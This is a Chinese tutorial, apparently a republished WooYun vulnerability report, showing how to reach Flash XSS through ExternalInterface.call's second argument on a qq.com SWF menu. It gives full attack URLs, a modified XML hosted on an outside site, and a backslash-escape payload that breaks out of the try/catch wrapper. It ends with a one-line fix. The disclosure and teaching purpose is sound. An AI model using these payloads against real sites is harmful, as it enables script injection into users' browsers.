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# 16\. Flash Xss 进阶 [ExternalInterface.call 第二个参数] > 来源:[16\. Flash Xss 进阶 \[ExternalInterface.call 第二个参数\]](http://www.wooyun.org/bugs/wooyun-2010-016598) ## 简要描述 讲完 ExternalInterface.call 的第一个参数,我们接着来讲第“2”个参数,之所以 2 打上引号,因为 call 函数的原型是: `call(functionName:String, ... arguments):*`, 即后面可以有很多很多个参数,我们统称为第 2 个参数。有时候我们会遇到 `ExternalInterface.call("xxxxx","可控内容");`的情况,那么这种情况下,如何构造 XSS 呢? 1\. 有了上一节教程的基础,这次我们直接见实例。 通过 GOOGLE 搜索,site:qq.com filetype:swf inurl:xml 我们可以找到以下 FLASH。 ``` http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://imgcache.qq.com/qzone/client/custom_men u/custom_menu.xml ``` 2\. 借鉴上上节教程的思路,我们可以看看 http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml 里是个什么内容。 ![image](https://box.kancloud.cn/2016-03-23_56f25044320ec.jpg) 3\. 好像看不出来是个啥用途,我们反编译 FLASH 文件。 ![image](https://box.kancloud.cn/2016-03-23_56f2504442631.jpg) 4\. 接着我们先看看是否有 getURL, `ExternalInterface.call` 之类的。 ![image](https://box.kancloud.cn/2016-03-23_56f25044579e3.jpg) 可以看到,我们搜索到的是下面这句: ``` flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href); ``` 那么 call 的第一个参数是被限定死了~,第 2 个参数为 `menu_array[_local2].href`,如果你对 AS 有一点了解,不难看出 `menu_array` 是一个数组,那么`_local2` 应该就是数组的下标, 而从单词含义“菜单数组”我们不难联想到上面 xml 文件里的数据。 ![image](https://box.kancloud.cn/2016-03-23_56f25044738f6.jpg) 5\. 换句话说,这里我们的可以控制 call 的第 2 个参数。同教程 14 中的方法,我们下来 ``` http://imgcache.qq.com/qzone/client/custom_menu/custom_menu.xml 。 ``` 先做点修改,然后上传到自己网站上。 我们将代码里日志那一行的 href 改掉。 ``` <menu name="日 志" href="\&quot;,alert(1)" /> ``` 上传修改后的文件,同时记得将 crossdomain.xml 上传至自己的网站根目录下哦~~(见教程 14) 6\. 接着我们载入我们自己指定的 XML 文件。 ``` http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://itsokla.duapp.com/custom_menu.xml ``` 7\. 接着我们打开 Firefox 浏览器。 有人会问,你怎么突然要用 Firefox 啊!疯了么!! 同志们,我没疯,只是因为 FF 可以捕获到这 里的错误,而 chrome 捕获不到! 我们打开 Firefox 后, 访问上面的地址,点击【日志】按钮!! Ctrl+shift+J 打开错误控制台!可以看到以下报错! ![image](https://box.kancloud.cn/2016-03-23_56f250448a0d7.jpg) 8\. 记性好的朋友,会马上想起上一节里我们说到的。 ``` ExternalInterface.call("函数名","参数 1"); ``` 实际上执行的是以下内容, ``` try { flash toXML(函数名("参数 1")) ; } catch (e) { "<undefined/>"; } ``` 我们就是从 FF 这里捕获错误到这点的!(:) 当然也还会有其他方法)。 为什么会出错呢? 我们一起来看看。 9\. 当我们点击 【日志】按钮时,会调用。 ``` flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href); ``` 而 `menu_array[_local2].href` 等于 `\",alert(1)`, 进而,我们代入完整的代码,即如下: ``` try { flash toXML(custom_menu_swf("\\",alert(1)")) ; } catch (e) { "<undefined/>"; } ``` 转换过程如下图: ![image](https://box.kancloud.cn/2016-03-23_56f250449c01e.jpg) 可以看到转换之后,JS 代码有点乱,引号到处飞,括号无处寻,因而报错了! 10\. 那么我们怎么构造正确的利用代码呢?其实有上一节的知识并不难! ``` try { flash toXML(custom_menu_swf("构造点构造点")) ; } catch (e) { "<undefined/>"; } ``` 首先第一步,要注入自己代码,首先要闭合掉双引号! ``` try { flash toXML(custom_menu_swf("构造点"),alert("构造点")) ; } catch (e) { "<undefined/>"; } ``` 但是从上面转换流程,我们可以看到, `"` 会变成 `\"`, 即变成了下面的样子,还是突破不出去。 ``` try { flash toXML(custom_menu_swf("构造点\"),alert(\"构造点")) ; } catch (e) { "<undefined/>"; } ``` ![image](https://box.kancloud.cn/2016-03-23_56f25044b33ba.jpg) 不过非常庆幸的事情是,这里没有对 `\` 进行转义。 我们可以通过输入 `\"` 来构造。JS 的字符串里,`\` 用 `\\` 表示。如下: ``` try { flash toXML(custom_menu_swf("构造点\\"))}catch(e){alert(1)}//构造点")) ; } catch (e) { "<undefined/>"; } ``` 图片分析如下: ![image](https://box.kancloud.cn/2016-03-23_56f25044c743d.jpg) 11\. 罗嗦了这么多,我们把构造点代码,拿出来,插入到 XML 文件里。注意以下几点: 11.1 最后构造的代码是`\\"`, 实际我们的输入是`\"`,然后由 FLASH 自己转变为`\\"`的,因而利用代码里只需要输入`\"`即可。 11.2 由于在 XML 的节点属性里,双引号写为 `&quot;` ``` <menu name="日 志" href="构造点\&quot;))}catch(e){alert(1)}//构造点" /> ``` 12\. 再次上传文件。打开 ``` http://imgcache.qq.com/qzone_v4/2/default_menu_horizontal.swf?xml_path=http://itsokla.duapp.com/custom_menu.xml ``` 点击日志,看看效果。 ![image](https://box.kancloud.cn/2016-03-23_56f25044dd035.jpg) ## 修复方案 1\. 禁止调用第三方的外部 XML 文件。